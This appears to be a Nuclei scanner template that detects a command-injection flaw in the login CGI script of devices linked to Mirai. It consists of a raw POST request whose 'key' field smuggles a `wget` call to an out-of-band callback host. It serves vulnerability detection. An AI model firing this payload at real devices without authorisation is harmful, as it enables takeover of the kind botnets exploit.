id: mirai-unknown-rce

info:
  name: Mirai Unknown - Remote Code Execution
  author: gy741
  severity: critical
  description: The unknown exploit targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection.
  reference:
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
  tags: mirai,rce,oob

requests:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

        key=';`wget http://{{interactsh-url}}`;#

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"